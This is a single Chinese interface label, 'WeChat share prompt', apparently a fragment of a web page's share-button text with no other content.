微信分享提示